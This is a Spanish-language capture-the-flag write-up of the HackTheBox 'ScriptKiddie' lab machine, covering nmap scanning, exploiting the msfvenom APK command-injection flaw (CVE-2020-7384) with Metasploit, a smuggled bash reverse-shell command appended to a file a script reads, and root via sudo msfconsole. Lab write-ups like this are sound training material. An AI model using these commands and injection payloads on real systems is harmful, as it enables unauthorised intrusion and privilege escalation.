Writeup — HackTheBox — “ScriptKiddie”

Jeach_03
6 min readJun 7, 2021

--

ScriptKiddie máquina retirada con sistema operativo Linux y clasificada como fácil; sinceramente una máquina que me llamo mucho la atención por su nombre, esta máquina nos permite conocer conceptos básico sobre metasploit y sobre todo escalación de privilegios con sudo lo cual me ánimo a hacer un pequeño paso a paso para solución de esta máquina.

Metodología:

  • Reconocimiento
  • Scan de puertos con nmap
  • Scan de servicios y versiones con nmap
  • Enumeración Web
  • Explotación — Creación de APK
  • User Flag
  • Escalada de privilegios

Para empezar corremos nuestra VPN descargada de la plataforma HTB (examples.ovpn) y comprobar conexión mediante una traza ICMP: ping -c 1 10.10.10.226 a nuestra máquina target.

Repuesta de la máquina objetivo

Confirmamos que tenemos conexión iniciamos la fase de reconocimiento con nmap para buscar puertos y servicios abiertos.

RECONOCIMIENTO

  • Scan de Puertos: Para identificar los puertos que están abiertos de forma rápida:
# nmap -p- --open -T5 -v -n 10.10.10.226
Identificación de Puertos Máquina Target

Identificamos los puertos activos de nuestra máquina target procedemos a un scan mas profundo.

  • Scan detención de servicios y versiones:
# nmap -sC -sV -p 22,5000 10.10.10.226 -oN scripkiddie
Puertos y Servicios

Resultado se obtiene dos servicios en ejecución ¡El puerto 22 para SSH y el puerto 5000 para HTTP!

  • 22: SSH; lo mantenemos como referencia que pueden existir credenciales para loggearnos por SSH más adelante.
  • 5000: Servidor web, vector de ataque más grande procedemos a una enumeración web más profunda.
Puertos, Servicio — Version

ENUMERACIÓN WEB

Visitemos el sitio web en el puerto 5000 de http, ingresamos IP http://10.10.10.226/5000 desde cualquiera navegador.

Web Site

La página web esta compuesto por 3 herramientas muy utilizadas en el hacking nmap, msfVenom y searchsploit; Me parecio muy curioso pero seguimos como es normal se realizo fuzzing a el site, intentando buscar rutas importantes.

Primera prueba vamos a utilizar la herramientas nmap que el sitio web nos ofrece con la IP de la maquina en este caso 10.10.10.226 y funciona de manera normal mostrando los 2 puertos que tenemos de referencias luego del scan de nmap.

Scan nmap site

Prueba 2 utilizamos otro apartado del sitios web sploits; en este apartado buscamos exploit con el servicio que hemos enumerado con nmap con la ip http://10.10.10.226/5000 — -> werkzeug

Como resultado existen módulos Werkzeug, intente utilizar estos exploit pero ningún éxito seguimos.

Prueba 3 con la función restante creación de payloads, en este apartado lo mas importante es que podemos subir archivo pero que archivos?.

Desde searchsploit buscamos msfvenom nos muestra que esta versión de MSF 6.0.11 existe una vulnerabilidad de inyección de comandos en msfvenom cuando se usa un archivo APK diseñado para carga útil de Android.

Googleamos más sobre las vulnerabilidades me encontré con CVE-2020–7384: inyección de comando de plantilla de APK MsfVenom y hay disponible un módulo de explotación de msf vamos a relizar algunas cambios con nuestra IP y puertos.

EXPLOTACIÓN

En mi caso en MSF no me aparecia este módulo solo basta con actualizar el MSF a la versión más reciente

Creación de APK

use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST tun0 (Nuestra IP)
set LPORT 443(Puerto a Escuchar)run (Crear nuestra APK)

Luego de ejecutarlo se crea el siguiente archivo “[+] mpk.apk almacenado en /root/.sf4/local/msf.apk”. Copiamos este archivo “msf.apk” en un nuestro directorio de usuarios que estemos utilizando.

Obteniendo user flag

Iniciar netcat en escucha con el puerto que se configuro anteriormente.

Ahora necesitamos subir el archivo msf.apk al servidor destino usando su interfaz seleccionamos android, proporcionamos cualquier IP y seleccionamos el archivo APK y luego clic en “generar”.

Comprobamos netcat y obtemos el shell inverso con éxito, solo queda navegar por los directorios hasta el usuario “kid” y encontramos la primera flag.

cat /home/kid/user.txt
User Flag

ESCALADA DE PRIVILEGIOS

Después de enumerar la máquina, encontramos un script “scanlosers.sh”, bajo el directorio de usuarios de “pwn”, pero el usuario kid solo tenemos acceso de lectura. Dicho esto, ya que toma información del archivo hackers, que tiene propiedad “kid”. Por lo tanto, scanlosers.sh todavía es accesible de alguna manera.

Aprovechando esta vulnerabilidad y obtener el shell como usuario pwn, hacemos lo siguiente.

configurando netcat por el puerto 4321 para esperar reverse shell.

Netcat

Creamos una carga de tipo bash TCP shell con nuestra ip y puerto por definir, desde cd /home/kid/logs/

/log$ echo "ce jo ;/bin/bash/ -c 'bash -i >&/dev/tcp/10.10.14.4/4321 0>&1' #" >> hackers

Comprobamos netcat y obtemos el shell inverso con éxito somos usurio pwd, utilizamos el comando sudo -l dando como resultado que el usuario pwn puede ejecutar /opt/metasploit-framework-6.0.9/msfconsole como root.

Cuando ejecutamos sudo /opt/metasploit-framework-6.0.9/msfconsole generamos fácilmente el shell root de msfconsole. Dando como resultado el vector de escalada de privilegios es Privilege Escalation usando sudo.

msfconsole

Tecleamos /bin/bash -i y whoami para ver que usuario somos y nos desplazamos hasta obtener la flag de root.txt

Finally!!! somos Root

Recordar que todos los flag son diferentes

¡Saludos!

Referencias

--

--